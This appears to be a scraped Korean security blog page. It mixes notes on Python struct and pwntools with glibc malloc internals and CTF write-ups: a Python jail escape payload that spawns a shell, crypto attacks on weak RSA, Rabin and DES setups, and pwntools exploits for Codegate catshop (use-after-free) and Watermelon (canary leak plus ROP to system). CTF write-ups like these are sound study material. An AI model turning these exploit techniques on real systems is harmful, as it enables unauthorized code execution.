서울여자대학교 영재원에서 최종 프로젝트로 발표한 자료다.

2019프로젝트.pdf
0.44MB

 

'Hacking' 카테고리의 다른 글

[2019정보보호올림피아드]Q9  (0) 2019.11.25
syscall Exploit 예제  (0) 2019.11.23
malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13

Python 문자열로 표현된 C structs와 Python Value 간의 변환

파일에 Binary Data를 저장하거나 Network Connection 시 사용

struct.pack(fmt, v1, v2,...)

- 지정된 Format에 따라 v1, v2의 value를 Pack을 수행하며 그 결과는 String으로 리턴

struct.unpack(fmt, string)

- 지정된 Format에 따라 String을 Unpack을 수행하며 그 결과는 Tuple로 리턴

CharacterByte orderSizeAlignment

@ native native native
= native standard none
< little-endian standard none
> big-endian standard none
! network (= big-endian) standard none

 

FormatC TypePython typeStandard sizeNotes

x pad byte no value    
c char string of length 1 1  
b signed char integer 1 (3)
B unsigned char integer 1 (3)
? _Bool bool 1 (1)
h short integer 2 (3)
H unsigned short integer 2 (3)
i int integer 4 (3)
I unsigned int integer 4 (3)
l long integer 4 (3)
L unsigned long integer 4 (3)
q long long integer 8 (2), (3)
Q unsigned long long integer 8 (2), (3)
f float float 4 (4)
d double float 8 (4)
s char[] string    
p char[] string    
P void * integer   (5), (3)

 

ex) struct.pack('<B',i)

'Python' 카테고리의 다른 글

[pwntools]pwnlib.util  (0) 2019.11.19
hex encoding to chr()  (0) 2019.05.17
파이썬 리스트의 문자열을 int 형태로 변환  (2) 2019.02.18
Python z3 모듈  (0) 2018.12.02

Newbie

Sanity Check

Description에 FLAG가 있다.

FLAG : HCTF{flag_looks_like_this}

NetCat

주어진 netcat서버에 접속하면 FLAG를 뿜어준다.

FLAG : HCTF{net"Cat" is so cute}

Cultureland

파란색으로 덮힌 바코드를 그림판으로 복구해주면 된다. 어느정도 노가다 하다보니 인식됐다.

FLAG : HCTF{4180021737370713}

CryptoFile

예전에 seed값 이용해서 푸는 문제 풀었을 때 python2랑 python3랑 seed 설정하고 random 값이 다른거를 잊고 왜 안되나 했다. 계속 python2를 이용해서 random_string을 잘못 가져왔다. python3 사용한 random_string 넣고 푸니까 잘 decrypt 된다.

파일이 생성된 시간 2019:11:12 23:59:07+09:00의 time.time() 값은 1573570747 이다.

import random
import string
import time

def random_string(length):
    strs = string.ascii_letters + string.digits
    result = ""
    for _ in range(length):
        result += random.choice(strs)
    return result

seed = 1573570747
random.seed(seed)
key = random_string(32)
iv = random_string(16)
print(key) # FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63
print(iv) # 9DULbzZxWQSgNnZM

key랑 iv값은 구한 후 decrypt 함수에 파일 이름, key, iv 넣고 decrypt해주면 된다.

from Crypto.Cipher import AES
import random
import string
import time
import os

class CryptoFile:
    def encrypt(self, endswith, delete_file):
        for file_name in [i for i in os.listdir('./') if i.endswith(endswith)]:
            target_file = open(file_name, 'rb')
            result = open('CryptoFile-' + self.random_string(2) + '.' + self.random_string(12), 'wb') 
            seed = int(time.time())
            random.seed(seed)
            key = self.random_string(32)
            iv = self.random_string(16)
            result.write(AES.new(key, AES.MODE_CFB, iv).encrypt(target_file.read()))
            if delete_file:
                os.remove(file_name)

    def decrypt(self, file_name, key, iv):
        target_file = open(file_name, 'rb')
        result = open(file_name + ".result", 'wb')
        result.write(AES.new(key, AES.MODE_CFB, iv).decrypt(target_file.read()))

    def random_string(self, length):
        strs = string.ascii_letters + string.digits
        result = ""
        for _ in range(length):
            result += random.choice(strs)
        return result

if __name__ == '__main__':
    # CryptoFile().encrypt(('gg'), True)
    CryptoFile().decrypt('CryptoFile-Xp.NNRyUD7RQLVh','FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63','9DULbzZxWQSgNnZM')

.result파일의 확장자를 png로 바꾸고 이미지 열면 FLAG가 있다.

FLAG : HCTF{Se3d_T1mE_15_D4nG3rouS}

NonPrintable

입력 값하고 \xde\xed\xbe\xef 이 같으면 플래그 파일을 읽을 수 있다.

from pwn import *

p = remote('prob.hctf.icewall.org',10102)
p.sendlineafter('>> ','\xde\xed\xbe\xef')
p.interactive()

FLAG : HCTF{beef steak is delicious}

Python Jail

python -c 로 실행시켜주는데 exec , chr 이 안 막혀있어서 이를 이용해서 풀었다. 아래 페이로드 이용해서 풀었다.

a="__import__('os').system('sh')"
payload = 'exec(' + ''.join('chr('+str(ord(a[i]))+')+' for i in range(len(a)))[:-1] + ')'

FLAG : HCTF{getattr_is_very

very

nice!!}

Take It

힌트가 있길래 딱보면 robots.txt 이용해서 푸는거구나 생각하고 들어갔는데 HCTF-FLAG.txt이 있길래 http://www.nowtakeit.com/HCTF-FLAG.txt 들어갔는데 플래그가 있었다.

FLAG : HCTF{Congratulations_10000_Points_for_First_Solver!!}

Reversing

매우 복잡한 그래프이다. 자세히 보면 인덱스의 글자가 맞는지 아닌지 비교해주는 분기들이다. 인덱스의 값들을 잘 맞추면 된다.

a=[0]*46
a[23]=97;a[19]=74;a[9]=95;a[22]=95;a[6]=118;a[1]=67;a[26]=95;a[7]=101;a[3]=70
a[2]=84;a[8]=110;a[17]=101;a[44]=116;a[32]=97;a[24]=110;a[43]=105;a[14]=104;a[12]=99
a[10]=103;a[28]=111;a[35]=105;a[29]=117;a[31]=99;a[14]=104;a[12]=99;a[10]=103
a[38]=112;a[39]=101;a[34]=95;a[37]=115;a[25]=100;a[18]=95;a[45]=125;a[21]=84;a[40]=99
a[11]=99;a[16]=118;a[30]=95;a[41]=116;a[13]=95;a[4]=123;a[42]=95;a[5]=101
a[20]=73;a[15]=97;a[0]=72;a[33]=110;a[27]=121;a[36]=110
print ''.join(chr(i) for i in a)

FLAG : HCTF{even_gcc_have_JIT_and_you_can_inspect_it}

Forensic

Easy Forensic

Stegsolve 를 이용해서 Blue Plane 0 이미지 좌측에 보면 흰색, 검은색이 반복되며 나온다.

여기서 검은색은 0, 흰색은 1로 치환해줘서 2진수 값 가져와서 8비트씩 끊어서 문자열로 만들면 플래그가 된다.

from PIL import Image

img = Image.open('solved.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
text = ''
black = (0,0,0)
white = (255,255,255)
for i in range(1):
    for j in range(img.height):
        if img_pix[i,j] == black:
            text += '0'
        elif img_pix[i,j] == white:
            text += '1'

b = '010010000100001101010100010001100111101101010111011010000110000101110100010111110100000101011111010100110110100101101101011100000110110001100101010111110101001101110100011001010110011101100001011011100110111101100111011100100110000101110000011010000111100101011111010100000111001001101111011000100110110001100101011011010010000101111101'
print ''.join(map(lambda x: chr(int(x, 2)), [b[i:i+8] for i in xrange(0, len(b),8)]))

FLAG : HCTF{What_A_Simple_Steganography_Problem!}

Normal Forensic

패킷 문제다. 주어진 패킷을 분석해보면 ruu.kr에서 SMTP 프로토콜로 통신을 했다.

220 ruu.kr ESMTP Postfix
HELO ruu.kr
250 ruu.kr
MAIL FROM:master@ruu.kr
250 2.1.0 Ok
RCPT TO:idontknow@ruu.kr
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: master@ruu.kr
To: idontknow@ruu.kr
Subject: Order
Date: Thu, 10 Oct 2019 23:11:21 +0900

OK...

The password is ITISNOTFLAG

Order file will transfer through secret channel...

Good Luck...

.
250 2.0.0 Ok: queued as C2A15240681
QUIT
221 2.0.0 Bye

다른 채널에 더 비밀스러운게 있다고 한다. 대충 쭉쭉 분석하다보니 ICMP 프로토콜로 통신한 부분을 볼 수 있다.

자세히 보니 ICMP Data 영역(마지막 제외 32바이트) 를 주고받은걸 볼 수 있다. 해당 ICMP Data영역에 해당하는 부분을 추출해주면 된다.

tshark -r packet.pcapng -Y 'icmp and ip.src==192.168.3.128' -T fields -e data

위 명령어 사용해서 가져오면 된다. 가져온 hex값을 hex decode해주고 base64로 decode해주면 7z파일이 나온다 앞에 dummy 부분만 제거하고 7z만 가져와서 아까 얻은 password (ITISNOTFLAG) 를 이용해서 풀어주면 ELF파일이 나오는데 이 ELF파일을 실행해주면 플래그가 나온다.

FLAG : HCTF{Now_You_Know_ICMP_Covert_Channel}

Crypto

Easy Crypto

DES key 취약점을 이용한 문제이다. 취약한 키 다 가져와서 DES decrypt Bruteforce해줬다.

from Crypto.Cipher import DES
import string
import re

f = open('flag.enc', 'rb')
ciphertext = f.read()
f.close()

parity = [ '0101010101010101', 'FEFEFEFEFEFEFEFE', 'E0E0E0E0F1F1F1F1', '1F1F1F1F0E0E0E0E' ]
noparity = [ '0000000000000000', 'FFFFFFFFFFFFFFFF', 'E1E1E1E1F0F0F0F0', '1E1E1E1E0F0F0F0F' ]

parity = [ i.decode('hex') for i in parity ]
noparity = [ i.decode('hex') for i in noparity ]

keylist = [parity, noparity]

IV = '87654321'
for key in keylist :
    for KEY in key :
        a = DES.new(KEY, DES.MODE_OFB, IV)
        plain = a.decrypt(ciphertext)
        print plain

FLAG : HCTF{It_is_So_Easy_Crypto_Problem_Right?}

Normal Crypto

Hastad’s Broadcast Attack 문제다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p1 = random_prime(2 ** 512)
q1 = random_prime(2 ** 512)
n1 = p1*q1
c1 = pow(bytes_to_long(flag), 3, n1)

p2 = random_prime(2 ** 512) 
q2 = random_prime(2 ** 512)
n2 = p2*q2
c2 = pow(bytes_to_long(flag), 3, n2)

p3 = random_prime(2 ** 512)
q3 = random_prime(2 ** 512)
n3 = p3*q3
c3 = pow(bytes_to_long(flag), 3, n3)

'''
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953
'''

중국인의 나머지 정리(CRT; Chinese Remainder Theorem)를 이용해서 계산해주면 된다. 구글링하면 잘 나온다.

import gmpy

e = 3
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953

N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy.invert(N1, n1)
u2 = gmpy.invert(N2, n2)
u3 = gmpy.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = gmpy.root(M,e)[0]

print hex(m)[2:].rstrip("L").decode("hex")

FLAG : HCTF{RSA_and_CRT_are_Very_VerY_vErY_EEEEEEasy_Hey_Fancy_You!}

Hard Crypto

Rabin 이라고 힌트를 준다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p = random_prime(2 ** 512)
q = next_prime(p)
while( (p % 4 != 3) or (q % 4 != 3)):
  p = random_prime(2 ** 512)
  q = next_prime(p)

n = p*q
enc = pow(bytes_to_long(flag), 2, n)

'''
enc = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
'''

Fermat factorization 페르마소수를 이용해서 n을 소인수분해해서 p,q를 구해주면 된다.

#from Crypto.Util.number import long_to_bytes
# -*-coding:utf-8 -*-
from gmpy2 import *

def fermat_factor(n):
    assert n % 2 != 0

    a = isqrt(n)
    b2 = square(a) - n

    while not is_square(b2):
        a += 1
        b2 = square(a) - n
    p = a + isqrt(b2)
    q = a - isqrt(b2)

    return int(p), int(q)

n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
p, q = fermat_factor(n)
print("p :" + str(p))
print("q :" + str(q))
print("p/q :" +str(p/float(q)))

c = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = p*q 
ma = []

mp = pow(c,(p+1)//4,p)
mq = pow(c,(q+1)//4,q)
yp = invert(p,q)
yq = invert(q,p)

ma.append((yq*q*mp + yp*p*mq) % n)
ma.append((yq*q*mp - yp*p*mq) % n)
ma.append((-yq*q*mp + yp*p*mq) % n)
ma.append((-yq*q*mp - yp*p*mq) % n)

for m in ma:
    m = hex(m)[2:]
    if (len(m) %2 !=0 ):
        m = '0' + m
    print "M = " + m.decode("hex")

FLAG : HCTF{Rabin_Crypto_Algorithm_is_So_Beautiful_And_This_Problem_Requires_A_Really_Long_Flag_Length}

2019년 11월 7~8일 이틀간 양재동 더K호텔에서 컨퍼런스를 진행했습니다. 

Theori 티오리에서 출제햇고 리버싱 빨리 풀어서 일등했네요 ㅋㅎㅋㅎㅋㅋㅋ Line 인형 얻었습니당

 

 

'일상' 카테고리의 다른 글

지난 3년 회고  (1) 2021.01.16

pwntools 모듈 정리

pwnlib.util

bits

pwnlib.util.fiddling.bits(s, endian = 'big', zero = 0, one = 1) → list

>>> bits(100)
'[0, 1, 1, 0, 0, 1, 0, 0]'
>>> sum(bits(100)
3
>>> bits('ABC')
[0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1]
>>> ''.join(bits(511,zero='_',one='-'))
'________---------'
>>> ''.join(bits(511,endian='little',zero='_',one='-')
'---------_______' 

unbits

pwnlib.util.fiddling.unbits(s, endian = 'big') → str

>>> unbits('0100000101000001')
'AA'

bits_str

pwnlib.util.fiddling.bits_str(s, endian = 'big', zero = '0', one = '1') → str

bits()는 list로 반환하는 반면에 bits_str()은 비트 값을 str로 반환한다.

>>> bits_str('flag')
'01100110011011000110000101100111'

bitswap

pwnlib.util.fiddling.bitswap(s) → str

1바이트씩 bit값을 뒤집는다고 보면 된다.

ex) 01101101 -> 10110110

>>> bitswap('ab')
'\x86F'

enhex

pwnlib.util.fiddling.enhex(x) → str

>>> enhex('abcd')
'61626364'
>>> 'abcd'.encode('hex')
'61626364'

unhex

pwnlib.util.fiddling.unhex(s) → str

>>> unhex('666c6167')
'flag'
>>> '666c6167'.decode('hex')
'flag'

hexdump

pwnlib.util.fiddling.hexdump(s, width=16, skip=True, hexii=False, begin=0, style=None, highlight=None, cyclic=False)

>>> hexdump(list(map(chr, range(256))),width=16,begin=0x12345678)
12345678  00 01 02 03  04 05 06 07  08 09 0a 0b  0c 0d 0e 0f  │····│····│····│····│
12345688  10 11 12 13  14 15 16 17  18 19 1a 1b  1c 1d 1e 1f  │····│····│····│····│
12345698  20 21 22 23  24 25 26 27  28 29 2a 2b  2c 2d 2e 2f  │ !"#│$%&'│()*+│,-./│
123456a8  30 31 32 33  34 35 36 37  38 39 3a 3b  3c 3d 3e 3f  │0123│4567│89:;│<=>?│
123456b8  40 41 42 43  44 45 46 47  48 49 4a 4b  4c 4d 4e 4f  │@ABC│DEFG│HIJK│LMNO│
123456c8  50 51 52 53  54 55 56 57  58 59 5a 5b  5c 5d 5e 5f  │PQRS│TUVW│XYZ[│\]^_│
123456d8  60 61 62 63  64 65 66 67  68 69 6a 6b  6c 6d 6e 6f  │`abc│defg│hijk│lmno│
123456e8  70 71 72 73  74 75 76 77  78 79 7a 7b  7c 7d 7e 7f  │pqrs│tuvw│xyz{│|}~·│
123456f8  80 81 82 83  84 85 86 87  88 89 8a 8b  8c 8d 8e 8f  │····│····│····│····│
12345708  90 91 92 93  94 95 96 97  98 99 9a 9b  9c 9d 9e 9f  │····│····│····│····│
12345718  a0 a1 a2 a3  a4 a5 a6 a7  a8 a9 aa ab  ac ad ae af  │····│····│····│····│
12345728  b0 b1 b2 b3  b4 b5 b6 b7  b8 b9 ba bb  bc bd be bf  │····│····│····│····│
12345738  c0 c1 c2 c3  c4 c5 c6 c7  c8 c9 ca cb  cc cd ce cf  │····│····│····│····│
12345748  d0 d1 d2 d3  d4 d5 d6 d7  d8 d9 da db  dc dd de df  │····│····│····│····│
12345758  e0 e1 e2 e3  e4 e5 e6 e7  e8 e9 ea eb  ec ed ee ef  │····│····│····│····│
12345768  f0 f1 f2 f3  f4 f5 f6 f7  f8 f9 fa fb  fc fd fe ff  │····│····│····│····│

b64e

pwnlib.util.fiddling.b64e(s) → str

>>> b64e('test')
'dGVzdA=='

b64d

pwnlib.util.fiddling.b64d(s) → str

>>> b64d('dGVzdA==')
'test'

urlencode

pwnlib.util.fiddling.urlencode(s) → str

>>> urlencode('/bin/sh')
'%2f%62%69%6e%2f%73%68'

urldecode

pwnlib.util.fiddling.urldecode(s, ignore_invalid = False) → str

>>> urldecode('%2f%62%69%6e%2f%73%68')
'/bin/sh'

xor

pwnlib.util.fiddling.xor(*args, cut = 'max') → str

xor_key

pwnlib.util.fiddling.xor_key(data, size=None, avoid='x00n') -> None or (int, str)

xor_pair

pwnlib.util.fiddling.xor_pair(data, avoid = 'x00n') -> None or (str, str)

'Python' 카테고리의 다른 글

python struct module  (0) 2019.11.21
hex encoding to chr()  (0) 2019.05.17
파이썬 리스트의 문자열을 int 형태로 변환  (2) 2019.02.18
Python z3 모듈  (0) 2018.12.02

chunk = 할당된 메모리



1
2
3
4
5
6
7
8
9
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size/* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links — used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links — used only if free. */
struct malloc_chunk* bk_nextsize;
};
cs


할당된 메모리(chunk)에 대한 정보들로는 prev_size, size, fd, bk, fd_nextsize, bk_nextsize 가 있습니다.


prev_size

prev_size는 이전 chunk가 free 되면 설정되는 값으로, 플래그를 제외한 이전 chunk의 크기 정보가 기록됩니다. 

이 정보를 통해 이전 chunk 의 위치를 쉽게 찾을 수 있습니다. 


size

size에는 현재 chunk의 사이즈가 기록됩니다.

chunk는 8바이트 단위로 정렬되는데, 이때 하위 3비트는 플래그 용도로 쓰입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* size field is or’ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
 
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->size & PREV_INUSE)
 
/* size field is or’ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
 
/* check for mmap()’ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
 
/* size field is or’ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
 
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
cs


※ PREV_INUSE : 이전 chunk가 사용중일 때 설정되는 플래그

※ IS_MMAPPED : mmap() 함수로 할당된 chunk일 때 설정되는 플래그

※ NON_MAIN_ARENA : 멀티 쓰레드 환경에서 main 이 아닌 쓰레드에서 생성된 메모리 일 때 설정되는 플래그


fd는 forward pointer, bk는 backward pointer 로, chunk 리스트를 관리하기 위해 chunk의 리스트들 중 각각 이전 chunk와 다음 chunk의 주소를 가리킵니다.

'Hacking' 카테고리의 다른 글

syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
SQLI 정리  (0) 2019.11.12

catshop


UAF 취약점이 발생한다. 

fget는 입력 받을 개수 -1 만큼 입력받고 마지막 문자를 NULL로 만들어서 4bytes 주소값을 넣으려면 5만큼 넣어줘야한다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= process('./catshop')
= ELF('./catshop')
 
flag = 0x080488b6
 
p.sendafter(':',p32(1)) # malloc
sleep(0.1)
p.sendafter(':',p32(2)) # free
sleep(0.1)
p.sendafter(':',p32(4)) # malloc
sleep(0.1)
p.sendafter(':',p32(5)) # length
sleep(0.1)
p.sendlineafter(':',p32(flag)) # fget -> \x00
sleep(0.1)
p.sendlineafter(':',p32(3)) # call
 
p.interactive()
 
cs


'Hacking' 카테고리의 다른 글

CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15
[2016codegate]Watermelon  (0) 2019.11.13
SQLI 정리  (0) 2019.11.12
LFI Vuln  (0) 2019.11.11

watermelon


이름을 입력하는 곳을 보면 전역변수(bss) 영역에 scanf를 받게 된다.

add, view, modify에 들어가는 인자가 4400만큼 할당받는다.

add함수에서는 어떠한 전역변수 하나가 100인지 비교하고 아니면 곡 추가하고 증가해주는 거 보면 곡의 인덱스인거 같다.

playlist 구조체 : num(4) + music(20) + artist(20)

이러한 구조체가 100개 있는 것이다.


add() : 1byte overflow

view() : playlist view -> view canary

modify() : overflow 


int playlist_struct; // [esp+1Ch] [ebp-113Ch]

unsigned int canary; // [esp+114Ch] [ebp-Ch]

구조체(4400) + canary()


Canary Leak 시나리오

add()로 playlist 100개 채우는데 마지막에 artist만 21개 입력해서 Canary Leak해준다.

view()로 가서 Leak된 Canary를 알아온다.

modify()로 가서 bof 일으키고 Canary 값 맞춰주면서 ROP 해주면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
 
context.log_level = 'debug'
context.arch = 'i386'
 
= process('./watermelon')
libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
= ELF('./watermelon')
 
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda x : p.sendline(x)
sa = lambda x,y : p.sendafter(x,y)
= lambda x : p.send(x)
 
popret = 0x080484d1 # 0x080484d1 : pop ebx ; ret
pop3ret = 0x080495ad # 0x080495ad : pop ebx ; pop edi ; pop ebp ; ret
bss = e.bss()
 
def add():
    sla('\tselect\t|\t\n','1')
    sla('\tmusic\t|\t','A')
    sla('\tartist\t|\t','A')
 
if __name__ == '__main__':
    sla('name : \n','realsung')
    for i in range(99):
        add()
    sla('\tselect\t|\t\n','1')
    sla('\tmusic\t|\t','A')
    sla('\tartist\t|\t','A'*21)
 
    sla('\tselect\t|\t\n','2')
    p.recvuntil('A'*20)
    canary = u32(p.recv(4)) - ord('A')
    log.info('canary : ' + hex(canary))
 
    ########################################
 
    sla('\tselect\t|\t\n','3')
    sla('select number\t|\t\n','100')
    sla('\tmusic\t|\t','B')
 
    # artist(20) + canary(4) + dummy(8) + sfp(4) + ret 
    pay = 'A'*20
    pay += p32(canary)
    pay += 'A'*12
    pay += flat(e.plt['puts'],popret,e.got['puts'])
    pay += flat(e.plt['read'],pop3ret,0,bss,10)
    pay += flat(e.plt['read'],pop3ret,0,e.got['puts'],8)
    pay += flat(e.plt['puts'],'AAAA',bss) 
    sla('\tartist\t|\t',pay)
 
    sla('\tselect\t|\t\n','4')
 
    p.recvuntil('BYE BYE\n\n')
    puts = u32(p.recv(4))
    log.info('puts : ' + hex(puts))
    libc_base = puts - libc.symbols['puts']
    log.info('libc_base : ' + hex(libc_base))
    system = libc_base + libc.symbols['system']
    log.info('system : ' + hex(system))
 
    sl('/bin/sh\x00')
    s(p32(system))
 
p.interactive()
cs


'Hacking' 카테고리의 다른 글

malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
SQLI 정리  (0) 2019.11.12
LFI Vuln  (0) 2019.11.11
[2013plaidCTF]ropasaurusrex  (0) 2019.11.03

+ Recent posts